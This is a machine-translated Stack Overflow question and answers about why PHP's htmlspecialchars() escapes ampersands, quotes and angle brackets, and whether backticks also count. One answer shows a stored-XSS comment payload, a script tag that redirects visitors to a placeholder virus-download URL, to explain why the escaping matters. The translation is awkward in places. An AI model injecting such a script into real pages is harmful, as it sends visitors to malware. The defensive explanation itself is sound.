1

在PHP中,有一种叫做htmlspecialchars()函数上的字符串执行以下替换:为什么这些5(6?)字符被认为是“不安全的”HTML字符?

  • &(符号)转换为&
  • "(双引号)被转换为"
  • ' (单引号)转换为'(仅当设置了标志ENT_QUOTES时)
  • <(小于)转换为&lt;
  • >(大于)被转换为&gt;

显然,这是在完成的理由是,这些具体的5个字符是不安全HTML字符

我可以理解为什么最后两个被认为是不安全的:如果他们只是“回声”,任意/危险的HTML可以交付,包括潜在的JavaScript与<script>和所有。

问题1.为什么前三个字符(和号,双引号,单引号)也被认为是“不安全”?


另外,我偶然发现this library called "he" on GitHub (by Mathias Bynens),这是一个关于编码/解码HTML实体。在那里,我发现了以下内容:

[...]字符是不安全的HTML内容中使用(&,<,>,”,”和`)将被编码[...]

source

问题2:是否有一个很好的理由,考虑到反引号另一个不安全的HTML字符?如果是的话,这是否意味着上述PHP的功能已经过时了?


最后,这一切引出了一个问题:

问题3.是否存在应被视为“不安全”的任何其他字符,沿着上面提到的5/6字符?

+0

这并没有真正回答你的问题,但确实对#3有所说:在筛选XSS漏洞等时使用白名单,而不是黑名单。如果您必须允许HTML使其成为一个非常有限的子集。试图筛选出每一个可能的不好的条目比只允许好的条目困难得多。 – CollinD

+0

@CollinD谢谢 - 我同意简单地转义那些5(6)个字符并不是防止漏洞的最好方法。我的问题更多的是关于为什么这5个角色被认为比其他角色“更重要”,以及是否有其他角色应该放在同一个包里,比如倒勾。 – Hamsterrific

+0

现在,任何人都愿意猜测这个问题出了什么问题?我收到了一个没有解释的随机downvote。我期待着改进/解决问题,但如果没有评论,我不能这样做。谢谢。 – Hamsterrific

回答

4

Donovan_D的回答几乎解释了它,但我会在这里的专门这些特殊字符是怎样导致的问题提供一些例子。

这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本攻击)攻击(或通过无辜输入意外中断页面)的最明显方式。

考虑网站上的评论功能。您使用textarea提交表单。它被保存到数据库中,然后显示在所有访问者的页面上。

现在我想一个看起来像这样的评论。

<script type="text/javascript"> 
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe"; 
</script> 

突然间,访问您网页的每个人都被重定向到病毒下载。这里的天真的做法只是说,没关系wellt母鸡,让我们过滤掉一些在进攻中的重要人物:

<>将与&lt;&gt;被取代,现在突然我们的脚本是不是一个脚本。这只是一些HTML文本。

类似的情况arsises与像

Something is <<wrong>> here. 

假设用户使用<<...>>强调某种原因发表评论。他们的评论将呈现为

东西是<>这里。

显然不可取的行为。

&产生较少的恶意情况。 &用于表示HTML实体,如&amp;&quot;&lt;等。因此,看起来无辜的文本意外地成为html实体并且最终看起来非常不同并且非常奇怪。

考虑评论

I really like #455 &#243; please let me know when they're available for purchase. 

这将呈现为

我真的很喜欢#455 ó请让我知道什么时候是可购买他们。

显然不是有意的行为。关键在于,这些符号被认为是大多数时间阻止大多数XSS漏洞/错误的关键,因为它们很可能用于有效输入,但需要转义才能在HTML中正确呈现。

对于第二个问题,我本人并不知道任何反引号应该被认为是不安全的HTML字符。

至于你的第三,也许。不要依赖黑名单来过滤用户输入。相反,使用已知OK输入的白名单并从那里开始工作。

+0

非常感谢。引用如何?它们被用来包围属性,非常好,我知道,但你能详细说明吗?他们可以自己伤害/不想要的东西吗? (即没有“<>”的帮助) – Hamsterrific

+2

也许。我非常犹豫直接说“不”。有更多的细节可以在这里查看https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。最明显的问题是,如果您接受用户输入并将其记录到一个属性中,那么显然引号会导致伤害并且会自动转义该属性。例如,允许用户输入图像标题并将其用在'img'标签的'title'属性中,用户可以通过分开引号来改变'img'标签的'src'属性。 – CollinD

+3

上下文就是一切。 'htmlspecialchars()'PHP函数只是一个通用函数,用于转义在HTML文档(HTML文档中的任何位置)中具有特殊含义的字符。这不仅仅是为了使产出“安全”。实际上,PHP文档没有提及“不安全”字符。当在一个文本体中使用引号时,引号是完全可以的,但是当在HTML属性中使用引号时(但仅当使用相同的引号来分隔属性时),引号才会中断输出。如果你正在解析Markdown的输出,反引用可能会有问题。 _Context很重要。 – MrWhite

0

这些字符是不安全的,因为在html中<>定义了一个标签。
""''用于包围属性。
&由于在html实体中的使用而被编码。
没有其他字符应进行编码,但它们可以是例如:
交易符号可以做成&trade;
美元符号可以做成&dollar;欧元可以&euro;
任何表情图案都能造出来一个HTML实体(在的编码东西的名称)
你可以找到一个解释/例子here

+0

谢谢,但这并没有回答这个问题。你刚刚说过引号和&符号在哪里使用。我的问题是关于哪些符号对于进行注射是危险的(更重要的是,为什么*)。 – Hamsterrific

相关问题